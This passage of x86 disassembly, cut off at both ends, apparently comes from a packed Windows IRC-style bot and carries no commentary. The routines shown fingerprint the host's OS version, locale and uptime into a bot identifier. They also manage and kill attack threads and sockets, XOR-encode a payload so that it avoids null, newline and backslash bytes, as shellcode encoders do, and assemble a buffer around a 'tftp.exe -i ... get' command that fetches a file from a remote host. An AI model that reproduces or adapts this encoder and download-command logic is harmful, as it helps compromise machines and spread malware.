[ebp+arg_0] call sub_41BC60 add esp, 18h loc_40AD1B: ; CODE XREF: sub_40AC83+77j mov eax, [ebp+arg_0] leave retn sub_40AC83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AD20 proc near ; CODE XREF: sub_4017BF+7Fp ; sub_401925+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi xor esi, esi loc_40AD29: ; CODE XREF: sub_40AD20+43j cmp [ebp+arg_C], 0 jz short loc_40AD47 lea eax, dword_430158[esi] push eax push [ebp+arg_C] call sub_41C6E0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40AD55 ; --------------------------------------------------------------------------- loc_40AD47: ; CODE XREF: sub_40AD20+Dj mov ecx, dword_430164[esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40AD55: ; CODE XREF: sub_40AD20+25j test eax, eax jnz short loc_40AD67 add esi, 14h inc edi cmp esi, 8Ch jb short loc_40AD29 jmp short loc_40AD75 ; --------------------------------------------------------------------------- loc_40AD67: ; CODE XREF: sub_40AD20+37j push [ebp+arg_0] lea eax, [edi+edi*4] call off_430168[eax*4] pop ecx loc_40AD75: ; CODE XREF: sub_40AD20+45j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40AD88 push [ebp+arg_0] call sub_40AC83 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40AD88: ; CODE XREF: sub_40AD20+5Bj mov eax, [ebp+arg_0] pop ebp retn sub_40AD20 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0B8h push ebx push esi lea eax, [ebp-0B8h] push edi push eax mov edi, offset byte_4404C4 mov dword ptr [ebp-0B8h], 94h call dword_4280D0 ; GetVersionExA cmp dword ptr [ebp-0B4h], 4 push 0Ah pop ebx jnz short loc_40AE07 cmp dword ptr [ebp-0B0h], 0 jnz short loc_40ADE8 cmp dword ptr [ebp-0A8h], 1 jnz short loc_40ADD8 mov edi, offset a95 ; "95" loc_40ADD8: ; CODE XREF: .XPack0:0040ADD1j cmp dword ptr [ebp-0A8h], 2 jnz short loc_40AE43 mov edi, offset aNt_0 ; "NT" jmp short loc_40AE43 ; --------------------------------------------------------------------------- loc_40ADE8: ; CODE XREF: .XPack0:0040ADC8j cmp [ebp-0B0h], ebx jnz short loc_40ADF7 mov edi, offset a98 ; "98" jmp short loc_40AE43 ; --------------------------------------------------------------------------- loc_40ADF7: ; CODE XREF: .XPack0:0040ADEEj cmp dword ptr [ebp-0B0h], 5Ah jnz short loc_40AE3E mov edi, offset aMe_0 ; "ME" jmp short loc_40AE43 ; --------------------------------------------------------------------------- loc_40AE07: ; CODE XREF: .XPack0:0040ADBFj cmp dword ptr [ebp-0B4h], 5 jnz short loc_40AE3E cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AE20 mov edi, offset a2k ; "2K" jmp short loc_40AE43 ; --------------------------------------------------------------------------- loc_40AE20: ; CODE XREF: .XPack0:0040AE17j cmp dword ptr [ebp-0B0h], 1 jnz short loc_40AE30 mov edi, offset aXp_0 ; "XP" jmp short loc_40AE43 ; --------------------------------------------------------------------------- loc_40AE30: ; CODE XREF: .XPack0:0040AE27j cmp dword ptr [ebp-0B0h], 2 mov edi, offset dword_433ED0 jz short loc_40AE43 loc_40AE3E: ; CODE XREF: .XPack0:0040ADFEj ; .XPack0:0040AE0Ej mov edi, offset dword_433ECC loc_40AE43: ; CODE XREF: .XPack0:0040ADDFj ; .XPack0:0040ADE6j ... lea eax, [ebp-0A4h] push offset dword_4CE1C0 push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_40AE61 mov esi, offset dword_433EC8 jmp short loc_40AEDC ; --------------------------------------------------------------------------- loc_40AE61: ; CODE XREF: .XPack0:0040AE58j lea eax, [ebp-0A4h] push offset a1 ; "1" push eax call sub_41BF70 pop ecx test eax, eax pop ecx jz short loc_40AE7F mov esi, offset sub_433EC4 jmp short loc_40AEDC ; --------------------------------------------------------------------------- loc_40AE7F: ; CODE XREF: .XPack0:0040AE76j lea eax, [ebp-0A4h] push offset dword_433EC0 push eax call sub_41BF70 pop ecx test eax, eax pop ecx jz short loc_40AE9D mov esi, offset dword_433EBC jmp short loc_40AEDC ; --------------------------------------------------------------------------- loc_40AE9D: ; CODE XREF: .XPack0:0040AE94j lea eax, [ebp-0A4h] push offset dword_433EB8 push eax call sub_41BF70 pop ecx test eax, eax pop ecx jz short loc_40AEBB mov esi, offset dword_433EB4 jmp short loc_40AEDC ; --------------------------------------------------------------------------- loc_40AEBB: ; CODE XREF: .XPack0:0040AEB2j lea eax, [ebp-0A4h] push offset dword_433EB0 push eax call sub_41BF70 pop ecx mov esi, offset dword_433EAC test eax, eax pop ecx jnz short loc_40AEDC mov esi, offset off_433EA8 loc_40AEDC: ; CODE XREF: .XPack0:0040AE5Fj ; .XPack0:0040AE7Dj ... lea eax, [ebp-0Ch] or dword ptr [ebp-4], 0FFFFFFFFh push eax or dword ptr [ebp-8], 0FFFFFFFFh or dword ptr [ebp-0Ch], 0FFFFFFFFh lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push offset aDdDhDm ; "%dd %dh %dm" push 0 call sub_41AF01 pop ecx push eax call sub_41C973 mov eax, [ebp-4] add esp, 14h cmp eax, ebx jge short loc_40AF26 push eax push offset a0D ; "0%d" lea eax, [ebp-18h] push ebx push eax call sub_41BFF0 add esp, 10h jmp short loc_40AF4A ; --------------------------------------------------------------------------- loc_40AF26: ; CODE XREF: .XPack0:0040AF0Fj cmp eax, 64h jge short loc_40AF38 lea ecx, [ebp-18h] push ebx push ecx push eax call sub_426E0C jmp short loc_40AF47 ; --------------------------------------------------------------------------- loc_40AF38: ; CODE XREF: .XPack0:0040AF29j push offset a99 ; "99" lea eax, [ebp-18h] push ebx push eax call sub_41BFF0 loc_40AF47: ; CODE XREF: .XPack0:0040AF36j add esp, 0Ch loc_40AF4A: ; CODE XREF: .XPack0:0040AF24j call dword_4280B0 ; GetTickCount push eax call sub_41BF48 pop ecx lea eax, [ebp-24h] push ebx push eax push 7 push 800h call dword_4280CC ; GetLocaleInfoA lea eax, [ebp-18h] push eax push esi lea eax, [ebp-24h] push edi mov edi, [ebp+8] push eax push offset aSSSS ; "[%s]%s|%s|%s|" push 1Ch push edi call sub_41BFF0 xor esi, esi add esp, 1Ch cmp dword_42A984, esi jle short loc_40AFB5 loc_40AF90: ; CODE XREF: .XPack0:0040AFB3j call sub_41BF52 cdq mov ecx, ebx idiv ecx push edx push edi push offset dword_42DAB0 push 1Ch push edi call sub_41BFF0 add esp, 14h inc esi cmp esi, dword_42A984 jl short loc_40AF90 loc_40AFB5: ; CODE XREF: .XPack0:0040AF8Ej mov eax, edi pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40AFBC proc near ; CODE XREF: sub_40AFDC+Ap ; sub_40B0B4+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41B650 push [esp+8+arg_4] mov esi, eax call sub_41B650 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_40AFBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFDC proc near ; CODE XREF: sub_40B0CB+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_40AFBC cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_40AFF9 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40AFF9: ; CODE XREF: sub_40AFDC+17j push ebx push esi push edi push [ebp+arg_8] call sub_41B650 push [ebp+arg_C] mov esi, eax call sub_41B650 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_433F6C, eax lea eax, [edi+1] mov dword_433F8D, eax lea eax, [edi+17h] mov dword_433F85, eax pop eax push 74h sub eax, edi push offset dword_433F08 push ebx mov dword_433F9B, eax call near ptr sub_41C9B0 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call near ptr sub_41C9B0 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call near ptr sub_41C9B0 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call near ptr sub_41C9B0 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call near ptr sub_41C9B0 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call near ptr sub_41C9B0 add esi, edi push 38h add esi, ebx push offset byte_433F91 push esi call near ptr sub_41C9B0 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_40AFDC endp ; =============== S U B R O U T I N E ======================================= sub_40B0B4 proc near ; CODE XREF: sub_40B0CB+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40AFBC push eax call sub_40B138 add esp, 0Ch retn sub_40B0B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B0CB proc near ; CODE XREF: sub_40DBEF+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_40B0B4 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_40B0EB cmp eax, 0FFFFh jbe short loc_40B0EF loc_40B0EB: ; CODE XREF: sub_40B0CB+17j xor eax, eax jmp short loc_40B134 ; --------------------------------------------------------------------------- loc_40B0EF: ; CODE XREF: sub_40B0CB+1Ej push esi push edi push ebx call sub_40AFBC add eax, 101h push eax call sub_41BB45 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_40AFBC pop ecx pop ecx push eax push esi call sub_40AFDC push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_40B153 push esi mov edi, eax call sub_41B721 add esp, 24h mov eax, edi pop esi loc_40B134: ; CODE XREF: sub_40B0CB+22j pop edi pop ebx pop ebp retn sub_40B0CB endp ; =============== S U B R O U T I N E ======================================= sub_40B138 proc near ; CODE XREF: sub_40B0B4+Ep ; sub_40B153+47p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_40B141 inc ecx loc_40B141: ; CODE XREF: sub_40B138+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_40B138 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B153 proc near ; CODE XREF: sub_40B0CB+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_C] cmp dl, 0Ah jz short loc_40B16D cmp dl, 0Dh jz short loc_40B16D cmp dl, 5Ch jz short loc_40B16D test dl, dl jnz short loc_40B171 loc_40B16D: ; CODE XREF: sub_40B153+Aj ; sub_40B153+Fj ... inc edx mov [ebp+arg_C], edx loc_40B171: ; CODE XREF: sub_40B153+18j push esi mov esi, 0FFh cmp edx, esi jbe short loc_40B199 mov eax, edx shr eax, 8 cmp al, 0Ah jz short loc_40B190 cmp al, 0Dh jz short loc_40B190 cmp al, 5Ch jz short loc_40B190 test al, al jnz short loc_40B199 loc_40B190: ; CODE XREF: sub_40B153+2Fj ; sub_40B153+33j ... add edx, 100h mov [ebp+arg_C], edx loc_40B199: ; CODE XREF: sub_40B153+26j ; sub_40B153+3Bj push edx call sub_40B138 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_40B1AF cmp eax, 0FFFFh jbe short loc_40B1B6 loc_40B1AF: ; CODE XREF: sub_40B153+53j xor eax, eax jmp loc_40B251 ; --------------------------------------------------------------------------- loc_40B1B6: ; CODE XREF: sub_40B153+5Aj push ebx mov bl, byte_4CE444 xor ecx, ecx push edi mov edi, [ebp+arg_8] test edx, edx jbe short loc_40B1E3 loc_40B1C7: ; CODE XREF: sub_40B153+8Ej mov al, [ecx+edi] xor al, bl jz short loc_40B1DA cmp al, 0Ah jz short loc_40B1DA cmp al, 0Dh jz short loc_40B1DA cmp al, 5Ch jnz short loc_40B1DE loc_40B1DA: ; CODE XREF: sub_40B153+79j ; sub_40B153+7Dj ... inc bl xor ecx, ecx loc_40B1DE: ; CODE XREF: sub_40B153+85j inc ecx cmp ecx, edx jb short loc_40B1C7 loc_40B1E3: ; CODE XREF: sub_40B153+72j cmp edx, esi mov byte_4CE444, bl ja short loc_40B20F push 15h push offset loc_433EF0 push [ebp+arg_0] mov byte_433EFD, dl mov byte_433F01, bl call near ptr sub_41C9B0 add esp, 0Ch push 15h jmp short loc_40B230 ; --------------------------------------------------------------------------- loc_40B20F: ; CODE XREF: sub_40B153+98j push 17h push offset loc_433ED8 push [ebp+arg_0] mov word_433EE6, dx mov byte_433EEB, bl call near ptr sub_41C9B0 add esp, 0Ch push 17h loc_40B230: ; CODE XREF: sub_40B153+BAj xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_40B24C mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_40B23E: ; CODE XREF: sub_40B153+F7j mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_40B23E loc_40B24C: ; CODE XREF: sub_40B153+E3j mov eax, [ebp+var_4] pop edi pop ebx loc_40B251: ; CODE XREF: sub_40B153+5Ej pop esi leave retn sub_40B153 endp ; =============== S U B R O U T I N E ======================================= sub_40B254 proc near ; CODE XREF: sub_40121E:loc_401584p ; sub_40121E+3A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_441048 loc_40B25C: ; CODE XREF: sub_40B254+18j cmp byte ptr [eax], 0 jz short loc_40B270 add eax, 234h inc edi cmp eax, offset dword_4CE048 jl short loc_40B25C jmp short loc_40B2BB ; --------------------------------------------------------------------------- loc_40B270: ; CODE XREF: sub_40B254+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_441048[esi] push eax call sub_41BC60 mov eax, [esp+14h+arg_4] and dword_44124C[esi], 0 and dword_441250[esi], 0 mov dword_441248[esi], eax mov eax, [esp+14h+arg_8] add esp, 0Ch and byte_441260[esi], 0 mov dword_441254[esi], eax pop esi loc_40B2BB: ; CODE XREF: sub_40B254+1Aj mov eax, edi pop edi retn sub_40B254 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2BF proc near ; DATA XREF: sub_401AA1+2903o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] call sub_40B311 push [ebp+var_14] call sub_40B56A add esp, 14h push 0 call dword_4280D4 ; ExitThread pop edi pop esi sub_40B2BF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B311 proc near ; CODE XREF: sub_40B2BF+38p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_433FCC push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 14h xor edi, edi mov esi, offset dword_441048 loc_40B33B: ; CODE XREF: sub_40B311+78j cmp byte ptr [esi], 0 jz short loc_40B37C cmp [ebp+arg_C], 0 jnz short loc_40B34F cmp dword ptr [esi+204h], 0 jnz short loc_40B37C loc_40B34F: ; CODE XREF: sub_40B311+33j push esi push edi lea eax, [ebp+var_200] push offset dword_42EC94 push eax call sub_41BEF6 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 24h loc_40B37C: ; CODE XREF: sub_40B311+2Dj ; sub_40B311+3Cj add esi, 234h inc edi cmp esi, offset dword_4CE048 jl short loc_40B33B pop edi pop esi leave retn sub_40B311 endp ; =============== S U B R O U T I N E ======================================= sub_40B38F proc near ; CODE XREF: sub_401AA1+7912p ; sub_40B417+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B411 cmp esi, 400h jge short loc_40B411 imul esi, 234h push edi push ebx lea edi, dword_44125C[esi] push dword ptr [edi] call dword_4280B4 ; TerminateThread cmp [edi], ebx jz short loc_40B3C1 inc ebp loc_40B3C1: ; CODE XREF: sub_40B38F+2Fj mov [edi], ebx lea edi, dword_441250[esi] mov dword_441248[esi], ebx mov dword_44124C[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B3E2 push eax call sub_41A03B pop ecx loc_40B3E2: ; CODE XREF: sub_40B38F+4Aj mov [edi], ebx lea edi, dword_441254[esi] mov byte ptr dword_441048[esi], bl mov byte_441260[esi], bl push dword ptr [edi] call dword_4CE3A0 ; closesocket lea esi, dword_441258[esi] mov [edi], ebx push dword ptr [esi] call dword_4CE3A0 ; closesocket mov [esi], ebx pop edi loc_40B411: ; CODE XREF: sub_40B38F+Dj ; sub_40B38F+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B38F endp ; =============== S U B R O U T I N E ======================================= sub_40B417 proc near ; CODE XREF: sub_40111A+18p ; sub_40121E:loc_4017ABp ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_441048 loc_40B423: ; CODE XREF: sub_40B417+2Aj cmp byte ptr [esi], 0 jz short loc_40B434 push edi call sub_40B38F test eax, eax pop ecx jz short loc_40B434 inc ebx loc_40B434: ; CODE XREF: sub_40B417+Fj ; sub_40B417+1Aj add esi, 234h inc edi cmp esi, offset dword_4CE048 jl short loc_40B423 pop edi mov eax, ebx pop esi pop ebx retn sub_40B417 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B449 proc near ; CODE XREF: sub_401AA1+4196p ; sub_401AA1+42E2p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_44124C loc_40B45D: ; CODE XREF: sub_40B449+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B47F test edi, edi jle short loc_40B471 cmp [esi], edi jz short loc_40B471 cmp ebx, edi jnz short loc_40B47F loc_40B471: ; CODE XREF: sub_40B449+1Ej ; sub_40B449+22j push ebx call sub_40B38F test eax, eax pop ecx jz short loc_40B47F inc [ebp+var_4] loc_40B47F: ; CODE XREF: sub_40B449+1Aj ; sub_40B449+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CE24C jl short loc_40B45D mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B449 endp ; =============== S U B R O U T I N E ======================================= sub_40B496 proc near ; CODE XREF: sub_40121E+3FAp ; sub_401AA1+929p ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_441248 loc_40B49D: ; CODE XREF: sub_40B496+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B4A6 inc eax loc_40B4A6: ; CODE XREF: sub_40B496+Dj add ecx, 234h cmp ecx, offset dword_4CE248 jl short loc_40B49D retn sub_40B496 endp ; =============== S U B R O U T I N E ======================================= sub_40B4B5 proc near ; CODE XREF: sub_401AA1+2390p arg_0 = dword ptr 4 xor eax, eax xor edx, edx mov ecx, offset dword_441248 push esi loc_40B4BF: ; CODE XREF: sub_40B4B5+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B4D8 add ecx, 234h inc edx cmp ecx, offset dword_4CE248 jl short loc_40B4BF pop esi retn ; --------------------------------------------------------------------------- loc_40B4D8: ; CODE XREF: sub_40B4B5+10j mov eax, edx pop esi retn sub_40B4B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4DC proc near ; CODE XREF: sub_401AA1+11F7p ; sub_401AA1+1215p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B4F5 push [ebp+arg_1C] call sub_41BDE9 pop ecx loc_40B4F5: ; CODE XREF: sub_40B4DC+Ej push eax push [ebp+arg_18] call sub_40B449 pop ecx test eax, eax pop ecx jle short loc_40B521 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41BEF6 add esp, 14h jmp short loc_40B53B ; --------------------------------------------------------------------------- loc_40B521: ; CODE XREF: sub_40B4DC+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41BEF6 add esp, 10h loc_40B53B: ; CODE XREF: sub_40B4DC+43j cmp [ebp+arg_C], 0 jnz short loc_40B55B push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 14h loc_40B55B: ; CODE XREF: sub_40B4DC+63j lea eax, [ebp+var_200] push eax call sub_415F45 pop ecx leave retn sub_40B4DC endp ; =============== S U B R O U T I N E ======================================= sub_40B56A proc near ; CODE XREF: sub_4017BF+154p ; sub_40B2BF+40p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_44125C[eax], ecx mov dword_441248[eax], ecx mov dword_44124C[eax], ecx mov dword_441250[eax], ecx mov dword_441254[eax], ecx mov dword_441258[eax], ecx mov byte ptr dword_441048[eax], cl mov byte_441260[eax], cl retn sub_40B56A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B5A7 proc near ; CODE XREF: sub_401AA1+7B83p ; sub_40B6CF+61p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor eax, eax push esi mov esi, [ebp+arg_0] inc eax jmp short loc_40B609 ; --------------------------------------------------------------------------- loc_40B5B3: ; CODE XREF: sub_40B5A7+66j cmp eax, 1 jnz short loc_40B61A mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B61A cmp cl, 2Ah jz short loc_40B5F2 cmp cl, 3Fh jz short loc_40B5D7 cmp cl, 5Bh jz short loc_40B5DC xor eax, eax cmp cl, dl setz al loc_40B5D7: ; CODE XREF: sub_40B5A7+22j inc [ebp+arg_4] jmp short loc_40B605 ; --------------------------------------------------------------------------- loc_40B5DC: ; CODE XREF: sub_40B5A7+27j lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B63B mov esi, [ebp+arg_0] jmp short loc_40B603 ; --------------------------------------------------------------------------- loc_40B5F2: ; CODE XREF: sub_40B5A7+1Dj lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B6CF mov esi, [ebp+arg_0] dec esi loc_40B603: ; CODE XREF: sub_40B5A7+49j pop ecx pop ecx loc_40B605: ; CODE XREF: sub_40B5A7+33j inc esi mov [ebp+arg_0], esi loc_40B609: ; CODE XREF: sub_40B5A7+Aj mov cl, [esi] test cl, cl jnz short loc_40B5B3 jmp short loc_40B61A ; --------------------------------------------------------------------------- loc_40B611: ; CODE XREF: sub_40B5A7+76j cmp eax, 1 jnz short loc_40B636 inc esi mov [ebp+arg_0], esi loc_40B61A: ; CODE XREF: sub_40B5A7+Fj ; sub_40B5A7+18j ... cmp byte ptr [esi], 2Ah jz short loc_40B611 cmp eax, 1 jnz short loc_40B636 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B636 cmp byte ptr [esi], 0 jnz short loc_40B636 xor eax, eax inc eax jmp short loc_40B638 ; --------------------------------------------------------------------------- loc_40B636: ; CODE XREF: sub_40B5A7+6Dj ; sub_40B5A7+7Bj ... xor eax, eax loc_40B638: ; CODE XREF: sub_40B5A7+8Dj pop esi pop ebp retn sub_40B5A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B63B proc near ; CODE XREF: sub_40B5A7+41p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi xor eax, eax mov ecx, [edx] and [ebp+var_8], edi inc eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B65C inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B65C: ; CODE XREF: sub_40B63B+19j push ebx push esi loc_40B65E: ; CODE XREF: sub_40B63B+77j mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B66C cmp [ebp+var_4], eax jnz short loc_40B6B4 loc_40B66C: ; CODE XREF: sub_40B63B+2Aj test edi, edi jnz short loc_40B6A9 cmp bl, 2Dh jnz short loc_40B69D lea esi, [ecx+1] mov cl, [ecx-1] mov al, [esi] cmp cl, al jge short loc_40B69D cmp al, 5Dh jz short loc_40B69D cmp [ebp+var_4], edi jnz short loc_40B69D mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B6A9 cmp bl, al jg short loc_40B6A9 mov [edx], esi jmp short loc_40B6A6 ; --------------------------------------------------------------------------- loc_40B69D: ; CODE XREF: sub_40B63B+38j ; sub_40B63B+44j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B6A9 loc_40B6A6: ; CODE XREF: sub_40B63B+60j xor edi, edi inc edi loc_40B6A9: ; CODE XREF: sub_40B63B+33j ; sub_40B63B+58j ... inc dword ptr [edx] and [ebp+var_4], 0 xor eax, eax inc eax jmp short loc_40B65E ; --------------------------------------------------------------------------- loc_40B6B4: ; CODE XREF: sub_40B63B+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B6C1 mov ecx, eax sub ecx, edi mov edi, ecx loc_40B6C1: ; CODE XREF: sub_40B63B+7Ej cmp edi, eax jnz short loc_40B6CA mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B6CA: ; CODE XREF: sub_40B63B+88j mov eax, edi pop edi leave retn sub_40B63B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B6CF proc near ; CODE XREF: sub_40B5A7+53p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] xor ebx, ebx jmp short loc_40B6FF ; --------------------------------------------------------------------------- loc_40B6E9: ; CODE XREF: sub_40B6CF+36j mov dl, [eax] cmp dl, 3Fh jz short loc_40B6FA cmp dl, 2Ah jnz short loc_40B70C cmp dl, 3Fh jnz short loc_40B6FD loc_40B6FA: ; CODE XREF: sub_40B6CF+1Fj inc ecx mov [edi], ecx loc_40B6FD: ; CODE XREF: sub_40B6CF+29j inc dword ptr [esi] loc_40B6FF: ; CODE XREF: sub_40B6CF+18j mov ecx, [edi] mov eax, [esi] cmp [ecx], bl jnz short loc_40B6E9 jmp short loc_40B70C ; --------------------------------------------------------------------------- loc_40B709: ; CODE XREF: sub_40B6CF+40j inc eax mov [esi], eax loc_40B70C: ; CODE XREF: sub_40B6CF+24j ; sub_40B6CF+38j cmp byte ptr [eax], 2Ah jz short loc_40B709 mov ecx, [edi] mov dl, [ecx] cmp dl, bl jnz short loc_40B72E cmp [eax], bl jz short loc_40B721 xor eax, eax jmp short loc_40B78B ; --------------------------------------------------------------------------- loc_40B721: ; CODE XREF: sub_40B6CF+4Cj cmp dl, bl jnz short loc_40B72E cmp [eax], bl jnz short loc_40B72E xor eax, eax inc eax jmp short loc_40B78B ; --------------------------------------------------------------------------- loc_40B72E: ; CODE XREF: sub_40B6CF+48j ; sub_40B6CF+54j ... push ecx push eax call sub_40B5A7 pop ecx test eax, eax pop ecx jnz short loc_40B775 loc_40B73B: ; CODE XREF: sub_40B6CF+A4j inc dword ptr [edi] mov eax, [edi] jmp short loc_40B74D ; --------------------------------------------------------------------------- loc_40B741: ; CODE XREF: sub_40B6CF+86j cmp cl, 5Bh jz short loc_40B757 cmp dl, bl jz short loc_40B757 inc eax mov [edi], eax loc_40B74D: ; CODE XREF: sub_40B6CF+70j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jnz short loc_40B741 loc_40B757: ; CODE XREF: sub_40B6CF+75j ; sub_40B6CF+79j cmp [eax], bl jz short loc_40B76C push eax push dword ptr [esi] call sub_40B5A7 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B771 ; 